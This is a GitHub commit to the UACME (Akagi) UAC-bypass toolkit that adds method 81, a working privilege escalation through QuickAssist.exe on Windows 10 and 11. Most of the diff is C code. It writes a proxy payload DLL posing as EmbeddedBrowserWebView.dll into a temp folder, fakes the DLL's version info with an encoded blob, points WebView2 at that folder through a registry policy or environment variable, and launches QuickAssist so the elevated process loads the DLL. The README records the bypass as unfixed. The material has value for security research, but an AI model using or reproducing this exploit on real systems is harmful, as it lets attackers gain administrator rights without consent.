Skip to content

Commit 58bf8bf

Browse files
hfiref0xhfiref0x
committed
v 3.6.8
Method 81 added, see #162 for more info; Readme updated.
1 parent 32647ec commit 58bf8bf

17 files changed

+1101
-37
lines changed

‎README.md

+11
Original file line numberDiff line numberDiff line change
@@ -825,6 +825,17 @@ First parameter is number of method to use, second is optional command (executab
825825
* Fixed in: unfixed :see_no_evil:
826826
* How: -
827827
* Code status: added in v3.6.7
828+
81. Author: R41N3RZUF477
829+
* Type: Shell API
830+
* Method: Environment variables expansion, Dll Hijack, UIPI bypass
831+
* Target(s): \system32\QuickAssist.exe
832+
* Component(s): EmbeddedBrowserWebView.dll
833+
* Implementation: ucmQuickAssistMethod
834+
* Works from: Windows 10 (19041)
835+
* AlwaysNotify compatible
836+
* Fixed in: unfixed :see_no_evil:
837+
* How: -
838+
* Code status: added in v3.6.8
828839

829840
</details>
830841

‎Source/Akagi/Resource.rc

0 Bytes
Binary file not shown.

‎Source/Akagi/encresource.h

+84-3
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,12 @@
11
/*******************************************************************************
22
*
3-
* (C) COPYRIGHT AUTHORS, 2016 - 2022
3+
* (C) COPYRIGHT AUTHORS, 2016 - 2025
44
*
55
* TITLE: ENCRESOURCE.H
66
*
7-
* VERSION: 3.61
7+
* VERSION: 3.68
88
*
9-
* DATE: 22 Jun 2022
9+
* DATE: 07 Mar 2025
1010
*
1111
* Encoded string resources.
1212
*
@@ -15,6 +15,7 @@
1515
* 3) g_encodedRecentViews - eventvwr cache element generated with yososerial
1616
* 4) g_encodedRecentViewsV2 - eventvwr cache element for dotnet2 generated with ysoserial
1717
* 5) g_encodedTaskParamBegin, g_encodedTaskParamEnd - parameters data for the scheduler task
18+
* 6) g_webviewvsinfo - WebView version info block
1819
*
1920
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
2021
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
@@ -915,3 +916,83 @@ static const unsigned char g_encodedTaskParamEnd[69] = {
915916
0x1E, 0xE0, 0xB2, 0x83, 0x39, 0x0E, 0x21, 0x3A, 0x5B, 0xE8, 0x85, 0xA3, 0x27, 0x8C, 0x6B, 0x30,
916917
0x0A, 0xC2, 0xBA, 0x09, 0x12
917918
};
919+
920+
static const unsigned char g_webviewvsinfo[1224] = {
921+
0xBB, 0xE2, 0xF9, 0x9B, 0x37, 0x6E, 0x8A, 0xB8, 0x22, 0xE2, 0x9A, 0x8B, 0x40, 0x2C, 0x1D, 0xB0,
922+
0x33, 0xC2, 0xD6, 0x0B, 0x5E, 0x2E, 0x13, 0xB9, 0x3D, 0xE6, 0x92, 0x9B, 0x7E, 0x6E, 0x92, 0xB9,
923+
0x35, 0xE6, 0x82, 0x9B, 0x37, 0x6E, 0xDC, 0xB8, 0xCC, 0xE6, 0x2A, 0x75, 0x16, 0x2C, 0x59, 0xB0,
924+
0x61, 0xC2, 0x84, 0x0B, 0x17, 0x2E, 0x5C, 0xB9, 0x73, 0xE6, 0xCC, 0x9B, 0x37, 0x6E, 0xDC, 0xB9,
925+
0x4C, 0xE6, 0xCD, 0x9B, 0x37, 0x6E, 0xDC, 0xB8, 0x75, 0xE2, 0xC5, 0x8B, 0x14, 0x2C, 0x58, 0xB0,
926+
0x61, 0xC2, 0x85, 0x0B, 0x17, 0x2E, 0x5C, 0xB9, 0x73, 0xE6, 0xCD, 0x9B, 0x1F, 0x6A, 0xDC, 0xB9,
927+
0x73, 0xE6, 0x9E, 0x9B, 0x43, 0x6E, 0xAE, 0xB8, 0x18, 0xE2, 0xAB, 0x8B, 0x71, 0x2C, 0x1E, 0xB0,
928+
0x08, 0xC2, 0xE9, 0x0B, 0x72, 0x2E, 0x15, 0xB9, 0x1D, 0xE6, 0xAB, 0x9B, 0x58, 0x6E, 0xDC, 0xB9,
929+
0x77, 0xE2, 0xCD, 0x9B, 0x37, 0x6E, 0xEC, 0xB8, 0x45, 0xE2, 0xF5, 0x8B, 0x2F, 0x2C, 0x68, 0xB0,
930+
0x55, 0xC2, 0xC7, 0x0B, 0x27, 0x2E, 0x5C, 0xB9, 0x3F, 0xE6, 0xE1, 0x9B, 0x36, 0x6E, 0x9F, 0xB9,
931+
0x1C, 0xE6, 0xA0, 0x9B, 0x47, 0x6E, 0xBD, 0xB8, 0x1F, 0xE2, 0xBC, 0x8B, 0x58, 0x2C, 0x39, 0xB0,
932+
0x0C, 0xC2, 0xE0, 0x0B, 0x17, 0x2E, 0x5C, 0xB9, 0x3E, 0xE6, 0xA4, 0x9B, 0x54, 0x6E, 0xAE, 0xB9,
933+
0x1C, 0xE6, 0xBE, 0x9B, 0x58, 0x6E, 0xBA, 0xB8, 0x05, 0xE2, 0xE5, 0x8B, 0x55, 0x2C, 0x37, 0xB0,
934+
0x13, 0xC2, 0xF5, 0x0B, 0x78, 0x2E, 0x2E, 0xB9, 0x12, 0xE6, 0xB9, 0x9B, 0x5E, 0x6E, 0xB3, 0xB9,
935+
0x1D, 0xE6, 0xCD, 0x9B, 0xBF, 0x6E, 0x82, 0xB8, 0x70, 0xE2, 0x83, 0x8B, 0x7F, 0x2C, 0x34, 0xB0,
936+
0x04, 0xC2, 0xC1, 0x0B, 0x72, 0x2E, 0x2F, 0xB9, 0x10, 0xE6, 0xBF, 0x9B, 0x5E, 0x6E, 0xAC, 0xB9,
937+
0x07, 0xE6, 0xA4, 0x9B, 0x58, 0x6E, 0xB2, 0xB8, 0x71, 0xE2, 0xC5, 0x8B, 0x5B, 0x2C, 0x31, 0xB0,
938+
0x02, 0xC2, 0xF7, 0x0B, 0x78, 0x2E, 0x2F, 0xB9, 0x1C, 0xE6, 0xAB, 0x9B, 0x43, 0x6E, 0xFC, 0xB9,
939+
0x36, 0xE6, 0xA9, 0x9B, 0x50, 0x6E, 0xB9, 0xB8, 0x51, 0xE2, 0x80, 0x8B, 0x7B, 0x2C, 0x3A, 0xB0,
940+
0x04, 0xC2, 0xE1, 0x0B, 0x73, 0x2E, 0x39, 0xB9, 0x17, 0xE6, 0xED, 0x9B, 0x75, 0x6E, 0xAE, 0xB9,
941+
0x1C, 0xE6, 0xBA, 0x9B, 0x44, 0x6E, 0xB9, 0xB8, 0x03, 0xE2, 0xE5, 0x8B, 0x41, 0x2C, 0x3D, 0xB0,
942+
0x03, 0xC2, 0xD3, 0x0B, 0x7E, 0x2E, 0x39, 0xB9, 0x04, 0xE6, 0xED, 0x9B, 0x74, 0x6E, 0xB0, 0xB9,
943+
0x1A, 0xE6, 0xA8, 0x9B, 0x59, 0x6E, 0xA8, 0xB8, 0x71, 0xE2, 0xC5, 0x8B, 0x26, 0x2C, 0x48, 0xB0,
944+
0x60, 0xC2, 0xC3, 0x0B, 0x7E, 0x2E, 0x30, 0xB9, 0x16, 0xE6, 0x9B, 0x9B, 0x52, 0x6E, 0xAE, 0xB9,
945+
0x00, 0xE6, 0xA4, 0x9B, 0x58, 0x6E, 0xB2, 0xB8, 0x71, 0xE2, 0xC5, 0x8B, 0x27, 0x2C, 0x76, 0xB0,
946+
0x51, 0xC2, 0xAB, 0x0B, 0x27, 0x2E, 0x72, 0xB9, 0x43, 0xE6, 0xCD, 0x9B, 0x6F, 0x6E, 0xEA, 0xB9,
947+
0x72, 0xE6, 0x84, 0x9B, 0x59, 0x6E, 0xA8, 0xB8, 0x14, 0xE2, 0xB7, 0x8B, 0x78, 0x2C, 0x39, 0xB0,
948+
0x0D, 0xC2, 0xCB, 0x0B, 0x76, 0x2E, 0x31, 0xB9, 0x16, 0xE6, 0xCD, 0x9B, 0x72, 0x6E, 0xB1, 0xB9,
949+
0x11, 0xE6, 0xA8, 0x9B, 0x53, 0x6E, 0xB8, 0xB8, 0x14, 0xE2, 0xA1, 0x8B, 0x54, 0x2C, 0x2A, 0xB0,
950+
0x0E, 0xC2, 0xF2, 0x0B, 0x64, 0x2E, 0x39, 0xB9, 0x01, 0xE6, 0x9A, 0x9B, 0x52, 0x6E, 0xBE, 0xB9,
951+
0x25, 0xE6, 0xA4, 0x9B, 0x52, 0x6E, 0xAB, 0xB8, 0x5F, 0xE2, 0xA1, 0x8B, 0x7A, 0x2C, 0x34, 0xB0,
952+
0x61, 0xC2, 0x85, 0x0B, 0x87, 0x2E, 0x30, 0xB9, 0x72, 0xE6, 0x81, 0x9B, 0x52, 0x6E, 0xBB, 0xB9,
953+
0x12, 0xE6, 0xA1, 0x9B, 0x74, 0x6E, 0xB3, 0xB8, 0x01, 0xE2, 0xBC, 0x8B, 0x64, 0x2C, 0x31, 0xB0,
954+
0x06, 0xC2, 0xED, 0x0B, 0x63, 0x2E, 0x5C, 0xB9, 0x30, 0xE6, 0xA2, 0x9B, 0x47, 0x6E, 0xA5, 0xB9,
955+
0x01, 0xE6, 0xA4, 0x9B, 0x50, 0x6E, 0xB4, 0xB8, 0x05, 0xE2, 0xE5, 0x8B, 0x5B, 0x2C, 0x31, 0xB0,
956+
0x02, 0xC2, 0xF7, 0x0B, 0x78, 0x2E, 0x2F, 0xB9, 0x1C, 0xE6, 0xAB, 0x9B, 0x43, 0x6E, 0xFC, 0xB9,
957+
0x30, 0xE6, 0xA2, 0x9B, 0x45, 0x6E, 0xAC, 0xB8, 0x1E, 0xE2, 0xB7, 0x8B, 0x77, 0x2C, 0x2C, 0xB0,
958+
0x08, 0xC2, 0xEA, 0x0B, 0x79, 0x2E, 0x72, 0xB9, 0x53, 0xE6, 0x8C, 0x9B, 0x5B, 0x6E, 0xB0, 0xB9,
959+
0x53, 0xE6, 0xBF, 0x9B, 0x5E, 0x6E, 0xBB, 0xB8, 0x19, 0xE2, 0xB1, 0x8B, 0x65, 0x2C, 0x78, 0xB0,
960+
0x13, 0xC2, 0xE0, 0x0B, 0x64, 0x2E, 0x39, 0xB9, 0x01, 0xE6, 0xBB, 0x9B, 0x52, 0x6E, 0xB8, 0xB9,
961+
0x5D, 0xE6, 0xCD, 0x9B, 0x57, 0x6E, 0xEA, 0xB8, 0x70, 0xE2, 0x8A, 0x8B, 0x64, 0x2C, 0x31, 0xB0,
962+
0x06, 0xC2, 0xEC, 0x0B, 0x79, 0x2E, 0x3D, 0xB9, 0x1F, 0xE6, 0x8B, 0x9B, 0x5E, 0x6E, 0xB0, 0xB9,
963+
0x16, 0xE6, 0xA3, 0x9B, 0x56, 0x6E, 0xB1, 0xB8, 0x14, 0xE2, 0xC5, 0x8B, 0x53, 0x2C, 0x35, 0xB0,
964+
0x03, 0xC2, 0xE0, 0x0B, 0x73, 0x2E, 0x38, 0xB9, 0x16, 0xE6, 0xA9, 0x9B, 0x75, 0x6E, 0xAE, 0xB9,
965+
0x1C, 0xE6, 0xBA, 0x9B, 0x44, 0x6E, 0xB9, 0xB8, 0x03, 0xE2, 0x92, 0x8B, 0x73, 0x2C, 0x3A, 0xB0,
966+
0x37, 0xC2, 0xEC, 0x0B, 0x72, 0x2E, 0x2B, 0xB9, 0x5D, 0xE6, 0xA9, 0x9B, 0x5B, 0x6E, 0xB0, 0xB9,
967+
0x73, 0xE6, 0xCD, 0x9B, 0xB7, 0x6E, 0x82, 0xB8, 0x70, 0xE2, 0x95, 0x8B, 0x64, 0x2C, 0x37, 0xB0,
968+
0x05, 0xC2, 0xF0, 0x0B, 0x74, 0x2E, 0x28, 0xB9, 0x3D, 0xE6, 0xAC, 0x9B, 0x5A, 0x6E, 0xB9, 0xB9,
969+
0x73, 0xE6, 0xCD, 0x9B, 0x7A, 0x6E, 0xB5, 0xB8, 0x12, 0xE2, 0xB7, 0x8B, 0x79, 0x2C, 0x2B, 0xB0,
970+
0x0E, 0xC2, 0xE3, 0x0B, 0x63, 0x2E, 0x7C, 0xB9, 0x36, 0xE6, 0xA9, 0x9B, 0x50, 0x6E, 0xB9, 0xB9,
971+
0x53, 0xE6, 0x88, 0x9B, 0x5A, 0x6E, 0xBE, 0xB8, 0x14, 0xE2, 0xA1, 0x8B, 0x72, 0x2C, 0x3D, 0xB0,
972+
0x05, 0xC2, 0xA5, 0x0B, 0x55, 0x2E, 0x2E, 0xB9, 0x1C, 0xE6, 0xBA, 0x9B, 0x44, 0x6E, 0xB9, 0xB9,
973+
0x01, 0xE6, 0xED, 0x9B, 0x60, 0x6E, 0xB9, 0xB8, 0x13, 0xE2, 0x93, 0x8B, 0x7F, 0x2C, 0x3D, 0xB0,
974+
0x16, 0xC2, 0xA5, 0x0B, 0x54, 0x2E, 0x30, 0xB9, 0x1A, 0xE6, 0xA8, 0x9B, 0x59, 0x6E, 0xA8, 0xB9,
975+
0x73, 0xE6, 0xCD, 0x9B, 0x03, 0x6E, 0xCC, 0xB8, 0x70, 0xE2, 0x95, 0x8B, 0x64, 0x2C, 0x37, 0xB0,
976+
0x05, 0xC2, 0xF0, 0x0B, 0x74, 0x2E, 0x28, 0xB9, 0x25, 0xE6, 0xA8, 0x9B, 0x45, 0x6E, 0xAF, 0xB9,
977+
0x1A, 0xE6, 0xA2, 0x9B, 0x59, 0x6E, 0xDC, 0xB8, 0x40, 0xE2, 0xEB, 0x8B, 0x26, 0x2C, 0x76, 0xB0,
978+
0x51, 0xC2, 0xAB, 0x0B, 0x27, 0x2E, 0x5C, 0xB9, 0x4F, 0xE6, 0xD9, 0x9B, 0x36, 0x6E, 0x9F, 0xB9,
979+
0x1C, 0xE6, 0xA0, 0x9B, 0x47, 0x6E, 0xBD, 0xB8, 0x1F, 0xE2, 0xBC, 0x8B, 0x45, 0x2C, 0x30, 0xB0,
980+
0x0E, 0xC2, 0xF7, 0x0B, 0x63, 0x2E, 0x12, 0xB9, 0x12, 0xE6, 0xA0, 0x9B, 0x52, 0x6E, 0xDC, 0xB9,
981+
0x3E, 0xE6, 0xA4, 0x9B, 0x54, 0x6E, 0xAE, 0xB8, 0x1E, 0xE2, 0xB6, 0x8B, 0x79, 0x2C, 0x3E, 0xB0,
982+
0x15, 0xC2, 0x85, 0x0B, 0x9F, 0x2E, 0x02, 0xB9, 0x72, 0xE6, 0x9D, 0x9B, 0x45, 0x6E, 0xB3, 0xB9,
983+
0x17, 0xE6, 0xB8, 0x9B, 0x54, 0x6E, 0xA8, 0xB8, 0x22, 0xE2, 0xAD, 0x8B, 0x79, 0x2C, 0x2A, 0xB0,
984+
0x15, 0xC2, 0xCB, 0x0B, 0x76, 0x2E, 0x31, 0xB9, 0x16, 0xE6, 0xCD, 0x9B, 0x7A, 0x6E, 0xB5, 0xB9,
985+
0x10, 0xE6, 0xBF, 0x9B, 0x58, 0x6E, 0xAF, 0xB8, 0x1E, 0xE2, 0xA3, 0x8B, 0x62, 0x2C, 0x78, 0xB0,
986+
0x24, 0xC2, 0xE1, 0x0B, 0x70, 0x2E, 0x39, 0xB9, 0x53, 0xE6, 0x88, 0x9B, 0x5A, 0x6E, 0xBE, 0xB9,
987+
0x16, 0xE6, 0xA9, 0x9B, 0x53, 0x6E, 0xB9, 0xB8, 0x15, 0xE2, 0xE5, 0x8B, 0x54, 0x2C, 0x2A, 0xB0,
988+
0x0E, 0xC2, 0xF2, 0x0B, 0x64, 0x2E, 0x39, 0xB9, 0x01, 0xE6, 0xED, 0x9B, 0x60, 0x6E, 0xB9, 0xB9,
989+
0x11, 0xE6, 0x9B, 0x9B, 0x5E, 0x6E, 0xB9, 0xB8, 0x06, 0xE2, 0xE5, 0x8B, 0x55, 0x2C, 0x34, 0xB0,
990+
0x08, 0xC2, 0xE0, 0x0B, 0x79, 0x2E, 0x28, 0xB9, 0x73, 0xE6, 0xCD, 0x9B, 0x1F, 0x6E, 0xD8, 0xB9,
991+
0x72, 0xE6, 0x82, 0x9B, 0x51, 0x6E, 0xBA, 0xB8, 0x18, 0xE2, 0xA6, 0x8B, 0x7F, 0x2C, 0x39, 0xB0,
992+
0x0D, 0xC2, 0xA5, 0x0B, 0x55, 0x2E, 0x29, 0xB9, 0x1A, 0xE6, 0xA1, 0x9B, 0x53, 0x6E, 0xDC, 0xB9,
993+
0x42, 0xE6, 0xCD, 0x9B, 0x73, 0x6E, 0xDC, 0xB8, 0x71, 0xE2, 0x93, 0x8B, 0x77, 0x2C, 0x2A, 0xB0,
994+
0x27, 0xC2, 0xEC, 0x0B, 0x7B, 0x2E, 0x39, 0xB9, 0x3A, 0xE6, 0xA3, 0x9B, 0x51, 0x6E, 0xB3, 0xB9,
995+
0x73, 0xE6, 0xCD, 0x9B, 0x13, 0x6E, 0xD8, 0xB8, 0x71, 0xE2, 0x91, 0x8B, 0x64, 0x2C, 0x39, 0xB0,
996+
0x0F, 0xC2, 0xF6, 0x0B, 0x7B, 0x2E, 0x3D, 0xB9, 0x07, 0xE6, 0xA4, 0x9B, 0x58, 0x6E, 0xB2, 0xB9,
997+
0x73, 0xE6, 0xCD, 0x9B, 0x3E, 0x6A, 0x6C, 0xBC
998+
};

‎Source/Akagi/methods/hybrids.c

+182-2
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,9 @@
44
*
55
* TITLE: HYBRIDS.C
66
*
7-
* VERSION: 3.67
7+
* VERSION: 3.68
88
*
9-
* DATE: 11 Feb 2025
9+
* DATE: 07 Mar 2025
1010
*
1111
* Hybrid UAC bypass methods.
1212
*
@@ -1504,3 +1504,183 @@ NTSTATUS ucmRequestTraceMethod(
15041504

15051505
return MethodResult;
15061506
}
1507+
1508+
1509+
/*
1510+
* ucmxModifyWebviewExecutableFolderPolicy
1511+
*
1512+
* Purpose:
1513+
*
1514+
* Alter WebView BrowserExecutableFolder parameter.
1515+
*
1516+
*/
1517+
BOOLEAN ucmxModifyWebviewExecutableFolderPolicy(
1518+
_In_ LPCWSTR lpPayloadPath
1519+
)
1520+
{
1521+
BOOLEAN bResult = FALSE;
1522+
HKEY hKey = NULL;
1523+
1524+
if (ERROR_SUCCESS == RegCreateKeyEx(HKEY_CURRENT_USER,
1525+
T_WEBVIEW_POLICY,
1526+
0, NULL,
1527+
REG_OPTION_VOLATILE,
1528+
MAXIMUM_ALLOWED,
1529+
NULL,
1530+
&hKey,
1531+
NULL))
1532+
{
1533+
bResult = (RegSetValueEx(hKey,
1534+
QUICKASSIST_EXE,
1535+
0, REG_SZ,
1536+
(const BYTE*)lpPayloadPath,
1537+
((DWORD)_strlen(lpPayloadPath) * sizeof(WCHAR)) + sizeof(UNICODE_NULL)) == ERROR_SUCCESS);
1538+
1539+
RegCloseKey(hKey);
1540+
}
1541+
1542+
return bResult;
1543+
}
1544+
1545+
/*
1546+
* ucmxRunQuickAssist
1547+
*
1548+
* Purpose:
1549+
*
1550+
* Execute quick assist through direct exe start or protocol.
1551+
*
1552+
*/
1553+
HANDLE ucmxRunQuickAssist()
1554+
{
1555+
WCHAR szBuffer[MAX_PATH * 2];
1556+
SHELLEXECUTEINFOW shinfo;
1557+
1558+
_strcpy(szBuffer, g_ctx->szSystemDirectory);
1559+
_strcat(szBuffer, QUICKASSIST_EXE);
1560+
1561+
RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
1562+
shinfo.cbSize = sizeof(shinfo);
1563+
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
1564+
shinfo.lpVerb = NULL;
1565+
shinfo.lpParameters = NULL;
1566+
shinfo.nShow = SW_MINIMIZE;
1567+
1568+
if (GetFileAttributesW(szBuffer) != INVALID_FILE_ATTRIBUTES) {
1569+
shinfo.lpFile = szBuffer;
1570+
}
1571+
else {
1572+
shinfo.lpFile = T_QUICKASSIST;
1573+
}
1574+
1575+
if (ShellExecuteEx(&shinfo)) {
1576+
return shinfo.hProcess;
1577+
}
1578+
1579+
return NULL;
1580+
}
1581+
1582+
/*
1583+
* ucmQuickAssistMethod
1584+
*
1585+
* Purpose:
1586+
*
1587+
* Bypass UAC by environment variables hijack and dll planting.
1588+
* https://github.com/R41N3RZUF477/QuickAssist_UAC_Bypass
1589+
*
1590+
*/
1591+
NTSTATUS ucmQuickAssistMethod(
1592+
_In_ PVOID ProxyDll,
1593+
_In_ DWORD ProxyDllSize
1594+
)
1595+
{
1596+
BOOL fDirCreated = FALSE, fEnvSet = FALSE;
1597+
HANDLE hProcess;
1598+
NTSTATUS MethodResult = STATUS_ACCESS_DENIED;
1599+
WCHAR szPayloadPath[MAX_PATH * 2];
1600+
WCHAR szPayloadFile[MAX_PATH * 2];
1601+
1602+
do {
1603+
1604+
//
1605+
// Select payload entry point.
1606+
//
1607+
if (!supReplaceDllEntryPoint(
1608+
ProxyDll,
1609+
ProxyDllSize,
1610+
FUBUKI_ENTRYPOINT_QASSIST,
1611+
FALSE))
1612+
{
1613+
break;
1614+
}
1615+
1616+
//
1617+
// Create destination dir "EBWebView\x64" in %temp%.
1618+
//
1619+
_strcpy(szPayloadPath, g_ctx->szTempDirectory);
1620+
_strcat(szPayloadPath, WEBVIEW_DIR);
1621+
if (!CreateDirectory(szPayloadPath, NULL)) {
1622+
if (GetLastError() != ERROR_ALREADY_EXISTS)
1623+
break;
1624+
}
1625+
1626+
_strcat(szPayloadPath, L"\\x64");
1627+
if (!CreateDirectory(szPayloadPath, NULL)) {
1628+
if (GetLastError() != ERROR_ALREADY_EXISTS)
1629+
break;
1630+
}
1631+
1632+
//
1633+
// Drop payload and alter it version info block.
1634+
//
1635+
_strcpy(szPayloadFile, szPayloadPath);
1636+
_strcat(szPayloadFile, TEXT("\\"));
1637+
_strcat(szPayloadFile, EMBEDDEDBROWSERWEBVIEW_DLL);
1638+
if (!supWriteBufferToFile(szPayloadFile, ProxyDll, ProxyDllSize))
1639+
break;
1640+
1641+
fDirCreated = TRUE;
1642+
1643+
if (!supReplaceVersionInfo(szPayloadFile, (PBYTE)g_webviewvsinfo, sizeof(g_webviewvsinfo), 'qass'))
1644+
break;
1645+
1646+
//
1647+
// Relay WebView.
1648+
//
1649+
if (!ucmxModifyWebviewExecutableFolderPolicy(szPayloadPath)) {
1650+
fEnvSet = supSetEnvVariable(FALSE, T_VOLATILE_ENV, WEBVIEW2_FOLRDER_VAR, g_ctx->szTempDirectory);
1651+
if (fEnvSet == FALSE)
1652+
break;
1653+
}
1654+
1655+
//
1656+
// Run quick asssist.
1657+
//
1658+
hProcess = ucmxRunQuickAssist();
1659+
if (hProcess == NULL)
1660+
break;
1661+
1662+
if (WaitForSingleObject(hProcess, 15000) != WAIT_OBJECT_0) {
1663+
TerminateProcess(hProcess, 0);
1664+
CloseHandle(hProcess);
1665+
break;
1666+
}
1667+
1668+
MethodResult = STATUS_SUCCESS;
1669+
1670+
} while (FALSE);
1671+
1672+
supSetGlobalCompletionEvent();
1673+
1674+
Sleep(1000);
1675+
1676+
if (fEnvSet)
1677+
supSetEnvVariable(TRUE, T_VOLATILE_ENV, WEBVIEW2_FOLRDER_VAR, NULL);
1678+
1679+
if (fDirCreated) {
1680+
_strcpy(szPayloadPath, g_ctx->szTempDirectory);
1681+
_strcat(szPayloadPath, WEBVIEW_DIR);
1682+
supRemoveDirectoryRecursive(szPayloadPath);
1683+
}
1684+
1685+
return MethodResult;
1686+
}

‎Source/Akagi/methods/methods.c

+19-4
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,9 @@
44
*
55
* TITLE: METHODS.C
66
*
7-
* VERSION: 3.67
7+
* VERSION: 3.68
88
*
9-
* DATE: 11 Feb 2025
9+
* DATE: 07 Mar 2025
1010
*
1111
* UAC bypass dispatch.
1212
*
@@ -53,6 +53,7 @@ UCM_API(MethodIscsiCpl);
5353
UCM_API(MethodAtlHijack);
5454
UCM_API(MethodSspiDatagram);
5555
UCM_API(MethodRequestTrace);
56+
UCM_API(MethodQuickAssist);
5657

5758
ULONG UCM_WIN32_NOT_IMPLEMENTED[] = {
5859
UacMethodWow64Logger,
@@ -69,7 +70,8 @@ ULONG UCM_WIN32_NOT_IMPLEMENTED[] = {
6970
UacMethodVFServerDiagProf,
7071
UacMethodAtlHijack,
7172
UacMethodSspiDatagram,
72-
UacMethodRequestTrace
73+
UacMethodRequestTrace,
74+
UacMethodQuickAssist
7375
};
7476

7577
UCM_API_DISPATCH_ENTRY ucmMethodsDispatchTable[UCM_DISPATCH_ENTRY_MAX] = {
@@ -153,7 +155,8 @@ UCM_API_DISPATCH_ENTRY ucmMethodsDispatchTable[UCM_DISPATCH_ENTRY_MAX] = {
153155
{ MethodAtlHijack, { NT_WIN7_RTM, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
154156
{ MethodSspiDatagram, { NT_WIN7_RTM, MAXDWORD }, AKATSUKI_ID, FALSE, TRUE, TRUE },
155157
{ MethodTokenModUIAccess, { NT_WIN10_19H1, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
156-
{ MethodRequestTrace, { NT_WIN11_24H2, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE }
158+
{ MethodRequestTrace, { NT_WIN11_24H2, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE },
159+
{ MethodQuickAssist, { NT_WIN10_REDSTONE5, MAXDWORD }, FUBUKI_ID, FALSE, TRUE, TRUE }
157160
};
158161

159162
/*
@@ -870,3 +873,15 @@ UCM_API(MethodRequestTrace)
870873
return STATUS_NOT_SUPPORTED;
871874
#endif
872875
}
876+
877+
UCM_API(MethodQuickAssist)
878+
{
879+
#ifdef _WIN64
880+
return ucmQuickAssistMethod(
881+
Parameter->PayloadCode,
882+
Parameter->PayloadSize);
883+
#else
884+
UNREFERENCED_PARAMETER(Parameter);
885+
return STATUS_NOT_SUPPORTED;
886+
#endif
887+
}

‎Source/Akagi/methods/methods.h

+3-2
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,9 @@
44
*
55
* TITLE: METHODS.H
66
*
7-
* VERSION: 3.67
7+
* VERSION: 3.68
88
*
9-
* DATE: 11 Feb 2025
9+
* DATE: 07 Mar 2025
1010
*
1111
* Prototypes and definitions for UAC bypass methods table.
1212
*
@@ -100,6 +100,7 @@ typedef enum _UCM_METHOD {
100100
UacMethodSspiDatagram, //+
101101
UacMethodTokenModUiAccess2, //+
102102
UacMethodRequestTrace, //+
103+
UacMethodQuickAssist, //+
103104
UacMethodMax,
104105
UacMethodInvalid = 0xabcdef
105106
} UCM_METHOD;

0 commit comments

Comments
 (0)